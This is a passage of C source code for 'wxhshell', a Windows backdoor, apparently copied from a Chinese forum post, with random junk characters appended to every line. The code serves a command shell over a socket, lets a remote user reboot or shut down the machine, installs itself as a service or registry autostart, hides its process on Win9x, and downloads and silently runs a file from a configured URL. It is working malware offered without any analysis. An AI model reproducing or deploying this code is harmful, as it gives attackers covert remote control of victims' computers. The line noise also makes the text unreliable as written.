  // 帮助 @ F $}/  
  case '?': { ]FIIs58IM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~K<h~TNP  
    break; ,r]H+vWS  
  } -38"S;M8  
  // 安装 )cZHBG.0H  
  case 'i': { .>.GQUr  
    if(Install()) #=33TvprR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x a<KF  
    else O"\_%=X9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bGK*1FlH  
    break; EJb+yy6  
    } |O oczYf  
  // 卸载 Yg,b ;H  
  case 'r': { w\eC{,00:  
    if(Uninstall()) /4c`[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _od /)#  
    else _;Xlw{FN^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )z18:C3  
    break; @U1|?~M%s  
    } r =vY-p  
  // 显示 wxhshell 所在路径 >wt.)c?5  
  case 'p': { kD%MFT4  
    char svExeFile[MAX_PATH]; y%61xA`#  
    strcpy(svExeFile,"\n\r"); xU0iz{9  
      strcat(svExeFile,ExeFile); ^" 54Q^SH  
        send(wsh,svExeFile,strlen(svExeFile),0); |uw48*t  
    break; Fw{@RQf8  
    } V&vG.HAT  
  // 重启 V\{@c%xW  
  case 'b': { M<*Tp^Y'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~O PBZ#  
    if(Boot(REBOOT)) |)Dm.)/0)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !t"/w6X1I  
    else { {#,5C H')  
    closesocket(wsh); t&=bW<6  
    ExitThread(0); rr1'| k "  
    } b$fmU"%&|  
    break; O2p E"8=4Q  
    } +_cigxpTc  
  // 关机 &|ne!wu  
  case 'd': { p5vQ.Ni*\-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L[Z^4l_!  
    if(Boot(SHUTDOWN)) ex1!7A!}g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|2d9E  
    else { a{^z= =  
    closesocket(wsh); ]w _&%mB  
    ExitThread(0); 26nwUNak  
    } N0kCdJv  
    break; )j~{P  
    } W)/f5[L  
  // 获取shell 8~R.iqLoX  
  case 's': { e@0|fB%2  
    CmdShell(wsh); knG:6tQ  
    closesocket(wsh); O TlqJ  
    ExitThread(0); oST)E5X;7  
    break; i7r)9^y  
  } @-\=`#C**  
  // 退出 xZ;eV76  
  case 'x': { [ij) k@.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ moLQ  
    CloseIt(wsh); {nUmlP=mS  
    break; ^\Q,ACkZb  
    } xt pY*  
  // 离开 1v.#ndk  
  case 'q': { YtSYe%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2\k!DF  
    closesocket(wsh); *P/A&"i[E  
    WSACleanup(); l9=Ka{$^*  
    exit(1); ;w"h n*  
    break; bO/r1W  
        } Dbj?l;'1  
  } (Z?f eUxp  
  } nA(" cD[,  
qp6'n&^&  
  // 提示信息 H%U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U2<q dknB  
} H+Bon=$cE!  
  }  =5B5  
[#Gu?L_W  
  return; *K$a;2WjzG  
} qg`ae  
Zn r4^i&(  
// shell模块句柄 6:B,ir _  
int CmdShell(SOCKET sock) gAsmPI.K  
{ Qu=b-9  
STARTUPINFO si; }(Fmr7%m  
ZeroMemory(&si,sizeof(si)); !]g[u3O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U+B"$yBR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *k,3@_5  
PROCESS_INFORMATION ProcessInfo; !J#P 'x0  
char cmdline[]="cmd"; ej kUNCKQt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /ZabY  
  return 0; |g^YD;9s.  
} *kK +Nvt8s  
l9eTghLi  
// 自身启动模式 .U|'KCM9m  
int StartFromService(void) !w%c= V]tV  
{ 8gE p5  
typedef struct )z74,n7-  
{ 4vG-d)"M2  
  DWORD ExitStatus; O4oN)  
  DWORD PebBaseAddress; 'R+^+urq^  
  DWORD AffinityMask; VpHwc!APq  
  DWORD BasePriority; DGCvH)Q  
  ULONG UniqueProcessId; ((`{-y\K  
  ULONG InheritedFromUniqueProcessId; e#h&Xa  
}   PROCESS_BASIC_INFORMATION; 9M9Fif.  
NR_3nt^h  
PROCNTQSIP NtQueryInformationProcess; qtZzJ>Y  
M$ieM[_T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *'aJO }$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~b)X:ku  
>m1b/J3#  
  HANDLE             hProcess; "A~dt5GJ  
  PROCESS_BASIC_INFORMATION pbi; &o t^+uVH  
<>n|_6'$90  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7i xG{yu  
  if(NULL == hInst ) return 0; kDm uj>D  
0Q7<;'m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }[PwA[k'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [3-u7Fx!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Er+*j;&w  
1/:vFX  
  if (!NtQueryInformationProcess) return 0; DKMkCPX%  
P8dMfD*"E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s,[ I_IiPf  
  if(!hProcess) return 0; -nC&t~sD  
e> 9X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7lwI]/ZH*  
ti9e(Jt!O  
  CloseHandle(hProcess); bIBF2m4  
|-\anby<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DPW^OgL;  
if(hProcess==NULL) return 0; Lc}hjK  
W9c&"T9JT  
HMODULE hMod; ,D`jlY-1l  
char procName[255]; 6<S-o|Xw  
unsigned long cbNeeded; [T7&)p  
x<!]#**;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wj}LVyV  
oP56f"BE(  
  CloseHandle(hProcess); Wll0mtv  
^vG<Ma.yk  
if(strstr(procName,"services")) return 1; // 以服务启动 C7m/<  
v ,h"u  
  return 0; // 注册表启动 JP\jhkn  
} =d5;F`m  
>T [Y>]  
// 主模块 !F}GSDDV*  
int StartWxhshell(LPSTR lpCmdLine) ?F[_5ls|]  
{ JLWm9c+UTG  
  SOCKET wsl; 6%6dzZ  
BOOL val=TRUE; X!z-J>  
  int port=0; ~1*37w~  
  struct sockaddr_in door; |*zgX]-+;  
HX| p4-L  
  if(wscfg.ws_autoins) Install(); r]\[G6mE%  
JiXE{(  
port=atoi(lpCmdLine); P6>C+T1  
-WyB2$!(  
if(port<=0) port=wscfg.ws_port; Y+23 jlgb  
X}3?k<m  
  WSADATA data; v:74iB$i/C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RLQ*&[A}  
s1Wn.OGR4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 A]a@,PC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3*%+NQIj  
  door.sin_family = AF_INET; RfvvX$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4|\M`T  
  door.sin_port = htons(port); 1nvT={'R  
[Pp#r&4H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *!`&+w  
closesocket(wsl); I'{Ctc  
return 1; (HeSL),1  
} Pr%KcR ;  
E,?IIRg&  
  if(listen(wsl,2) == INVALID_SOCKET) { hUvA;E(qD  
closesocket(wsl); ; Gv-$0{P3  
return 1; g6DIWMoO=h  
} gk8 v{'0Er  
  Wxhshell(wsl); 7vPG b:y  
  WSACleanup(); \+U;$.)3  
#Cs/.(<  
return 0;  Y~^R^J  
$;ny`^8  
} P;gd!Yl<-  
pQ7elv]  
// 以NT服务方式启动 _hJ+8B^`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v?3xWXX,  
{ o\Fv~^  
DWORD   status = 0; 6A>bm{`c:  
  DWORD   specificError = 0xfffffff; ,s}&|+ '"  
X5+^b({  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mhU=^/X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xp3^,x;\X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yNwSiZE X  
  serviceStatus.dwWin32ExitCode     = 0; T&S=/cRBK}  
  serviceStatus.dwServiceSpecificExitCode = 0; ^e]O >CJ  
  serviceStatus.dwCheckPoint       = 0; Q8l vwip  
  serviceStatus.dwWaitHint       = 0; PW"?* ~&  
?@MY+r_G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tJtp1$h  
  if (hServiceStatusHandle==0) return; &l-d_dh  
Fpn'0&~-fi  
status = GetLastError(); J]S6%omp>  
  if (status!=NO_ERROR) oLlfqV,|L\  
{ nHXPEbq-g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /: \27n  
    serviceStatus.dwCheckPoint       = 0; dKDCJ t]t  
    serviceStatus.dwWaitHint       = 0; W>{&" 5  
    serviceStatus.dwWin32ExitCode     = status; >N`, 3;Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; IJPyCi)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OOnj(%g  
    return; t^6ams$  
  } cyjgi /Z  
i[.7 8K-s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SZtSUt(ss  
  serviceStatus.dwCheckPoint       = 0; "=40%j0  
  serviceStatus.dwWaitHint       = 0; 5mudww`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _E-{*,7bZS  
} 6b` Jq>v  
9~K>c  
// 处理NT服务事件,比如:启动、停止 U/v)6:j)4R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %M^Q{` :5  
{ Ym -U{a  
switch(fdwControl)  =/ !A  
{ 0@u{(m  
case SERVICE_CONTROL_STOP: ~_ovQ4@  
  serviceStatus.dwWin32ExitCode = 0; }p)a 7xn}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yVPFH~1@\  
  serviceStatus.dwCheckPoint   = 0; WoSKN7*  
  serviceStatus.dwWaitHint     = 0; /d }5R@Oy  
  { 0&&P+adk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); drwxrZt   
  } =''*'a-P  
  return; Y<@_d  
case SERVICE_CONTROL_PAUSE: l:#'i`;   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v )2yR~J  
  break; {JKG-0)z?  
case SERVICE_CONTROL_CONTINUE: oOXJ7 |n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ K2Ncb7  
  break; /<O9^hA|  
case SERVICE_CONTROL_INTERROGATE: !#olG}#[  
  break; GV9pet89yu  
}; [>j.x2=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bgInIe  
} Ia^/^>  
)J[Ady^5  
// 标准应用程序主函数 .'-t>(}v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [a^<2V!vMn  
{  1&=2"  
rX`fjS*C  
// 获取操作系统版本 ZiH4s|  
OsIsNt=GetOsVer(); bhZ5-wo4%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |NjyO>@Pa  
wlP% U  
  // 从命令行安装 e6T?2`5P  
  if(strpbrk(lpCmdLine,"iI")) Install(); lL'K1%{+ \  
^ilgd  
  // 下载执行文件 2v*X^2+  
if(wscfg.ws_downexe) { 1o   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AMK3I`=8WO  
  WinExec(wscfg.ws_filenam,SW_HIDE); N=8CVI  
} p1z^i(  
,~K4+ t_  
if(!OsIsNt) { HE2t0sAYX  
// 如果时win9x,隐藏进程并且设置为注册表启动 /cZcfCW  
HideProc(); , d4i0;2}+  
StartWxhshell(lpCmdLine); !E *IktAI  
} |IWm:[H3  
else \/y&l\ k)  
  if(StartFromService()) %+ MYg^  
  // 以服务方式启动 |ew:}e: k<  
  StartServiceCtrlDispatcher(DispatchTable); % <%r  
else ,fm{ krE  
  // 普通方式启动 TjctK [db@  
  StartWxhshell(lpCmdLine); KZ [:o,jp>  
SQw"mO  
return 0; K~8!Gh{h]  
}
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只看该作者 1 发表于: 2006-10-10
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